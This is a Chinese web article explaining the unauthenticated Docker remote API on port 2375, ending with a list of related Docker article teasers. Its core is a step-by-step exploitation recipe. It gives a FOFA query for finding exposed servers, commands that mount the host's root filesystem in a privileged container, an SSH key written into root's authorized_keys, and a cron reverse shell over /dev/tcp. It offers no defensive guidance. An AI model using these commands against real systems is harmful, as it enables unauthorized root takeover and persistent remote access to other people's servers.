Docker API 未授權(quán)訪問(wèn)漏洞問(wèn)題解析
因?yàn)閐ocker賦有遠(yuǎn)程的遠(yuǎn)程控制，docker開(kāi)放了一個(gè)tcp端口2375，如果沒(méi)有限制訪問(wèn)的話，攻擊者就會(huì)通過(guò)這個(gè)端口來(lái)通過(guò)docker未授權(quán)來(lái)獲取服務(wù)器權(quán)限。
docker api未授權(quán)訪問(wèn)漏洞
00x1 漏洞成因
因?yàn)閐ocker賦有遠(yuǎn)程的遠(yuǎn)程控制，docker開(kāi)放了一個(gè)tcp端口2375，如果沒(méi)有限制訪問(wèn)的話，攻擊者就會(huì)通過(guò)這個(gè)端口來(lái)通過(guò)docker未授權(quán)來(lái)獲取服務(wù)器權(quán)限。
00x2 信息收集
FOFA中搜索port = 2375 && status_code = "404"
訪問(wèn)站點(diǎn)2375端口，顯示
訪問(wèn)/info目錄,查看版本信息
證明改站點(diǎn)存在docker未授權(quán)訪問(wèn)漏洞
00x3 漏洞利用
docker -H tcp://ip ps -a 查看容器 dokcer -H tcp:// images 查看鏡像
為了獲取宿主機(jī)的權(quán)限，我們需要把宿主機(jī)的根目錄掛載到docker容器中
docker -H tcp://ip run -it --privileged=true -v /:/mnt --entrypoint /bin/bash image-id
--privileged=true：使用該參數(shù)，container內(nèi)的root擁有真正的root權(quán)限。
-v /:/mnt：將宿主機(jī)的根目錄掛載到/mnt目錄下
--entrypoint /bin/bash：指定鏡像的默認(rèn)入口命令，該入口命令會(huì)在啟動(dòng)容器時(shí)作為根命令執(zhí)行，所有其他傳入值作為該命令的參數(shù)，用法ENTRYPOINT command param1 param2
現(xiàn)在就拿到了root權(quán)限，利用方式有很多種
ssh連接
ssh-keygen -t rsa //生成一個(gè)ssh公鑰 cat /root/.ssh/id_rsa.pub //查看生成的公鑰 echo "公鑰內(nèi)容" > /mnt/root/.ssh/authorized_keys //寫(xiě)公鑰 ssh root@目標(biāo)ip -i id_rsa //ssh進(jìn)行連接
寫(xiě)計(jì)劃任務(wù)
nc -lvvp port //開(kāi)啟監(jiān)聽(tīng) echo "* * * * * /bin/bash -i >& /dev/tcp/ip/port 0>&1" > /mnt/var/spool/cron/root ///反彈shell
到此這篇關(guān)于Docker API 未授權(quán)訪問(wèn)漏洞的文章就介紹到這了,更多相關(guān)Docker API 未授權(quán)漏洞內(nèi)容請(qǐng)搜索腳本之家以前的文章或繼續(xù)瀏覽下面的相關(guān)文章希望大家以后多多支持腳本之家！
相關(guān)文章
docker部署nginx下日志自動(dòng)切割方法實(shí)現(xiàn)
部署Nginx在Docker中時(shí),其日志文件默認(rèn)不會(huì)自動(dòng)切割,與非Docker環(huán)境有所不同,本文介紹了三種日志切割方法,文中通過(guò)示例代碼介紹的非常詳細(xì),對(duì)大家的學(xué)習(xí)或者工作具有一定的參考學(xué)習(xí)價(jià)值,需要的朋友們下面隨著小編來(lái)一起學(xué)習(xí)學(xué)習(xí)吧2024-10-10
docker安裝部署 onlyoffice的詳細(xì)過(guò)程
本文給大家分享docker安裝部署 onlyoffice的詳細(xì)過(guò)程，通過(guò)圖文并茂實(shí)例相結(jié)合給大家分享安裝Docker Desktop及如何進(jìn)入BIOS設(shè)置CPU的虛擬化，感興趣的朋友一起看看吧2021-06-06
Docker-compose搭建Redis集群(Sentinel)的實(shí)現(xiàn)
本文主要介紹了Docker-compose搭建Redis集群(Sentinel)的實(shí)現(xiàn)，文中通過(guò)示例代碼介紹的非常詳細(xì)，對(duì)大家的學(xué)習(xí)或者工作具有一定的參考學(xué)習(xí)價(jià)值，需要的朋友們下面隨著小編來(lái)一起學(xué)習(xí)學(xué)習(xí)吧2023-07-07
Docker運(yùn)行hello-world鏡像失敗或超時(shí)的問(wèn)題
在安裝Docker并嘗試運(yùn)行hello-world時(shí),可能會(huì)遇到超時(shí)問(wèn)題,這通常是由于默認(rèn)的鏡像源訪問(wèn)速度慢造成的,解決這個(gè)問(wèn)題的辦法是更換鏡像源,雖然許多人推薦使用阿里云的鏡像源,對(duì)Docker hello-world超時(shí)問(wèn)題感興趣的朋友一起看看吧2024-09-09
Docker學(xué)習(xí)筆記之Weave實(shí)現(xiàn)跨主機(jī)容器互聯(lián)
這篇文章主要介紹了Docker學(xué)習(xí)筆記之Weave實(shí)現(xiàn)跨主機(jī)容器互聯(lián),小編覺(jué)得挺不錯(cuò)的，現(xiàn)在分享給大家，也給大家做個(gè)參考。一起跟隨小編過(guò)來(lái)看看吧2018-04-04
本篇文章主要介紹了Docker安裝MySQL8的方法步驟，小編覺(jué)得挺不錯(cuò)的，現(xiàn)在分享給大家，也給大家做個(gè)參考。一起跟隨小編過(guò)來(lái)看看吧2018-06-06
這篇文章主要介紹了使用docker指令如何刪除所有不再使用的鏡像問(wèn)題,具有很好的參考價(jià)值,希望對(duì)大家有所幫助,如有錯(cuò)誤或未考慮完全的地方,望不吝賜教2024-06-06
MySQL docker容器數(shù)據(jù)更新統(tǒng)計(jì)shell腳本代碼方式
本文介紹了如何創(chuàng)建和配置一個(gè)腳本文件,使其能夠每隔一小時(shí)執(zhí)行一次,用于更新MySQL統(tǒng)計(jì)信息,腳本使用Docker來(lái)執(zhí)行MySQL命令,并將結(jié)果保存到文件中,文章還強(qiáng)調(diào)了權(quán)限設(shè)置和配置定時(shí)任務(wù)的步驟2025-01-01
本文主要介紹了Docker刪除已存在的鏡像的實(shí)現(xiàn),刪除已存在的 Docker 鏡像,可以使用 docker rmi 命令,下面就來(lái)詳細(xì)的介紹一下使用步驟,感興趣的可以了解一下2023-08-08
PIP安裝docker-compose超時(shí)問(wèn)題解決方案
這篇文章主要介紹了PIP安裝docker-compose超時(shí)問(wèn)題解決方案,文中通過(guò)示例代碼介紹的非常詳細(xì)，對(duì)大家的學(xué)習(xí)或者工作具有一定的參考學(xué)習(xí)價(jià)值,需要的朋友可以參考下2020-09-09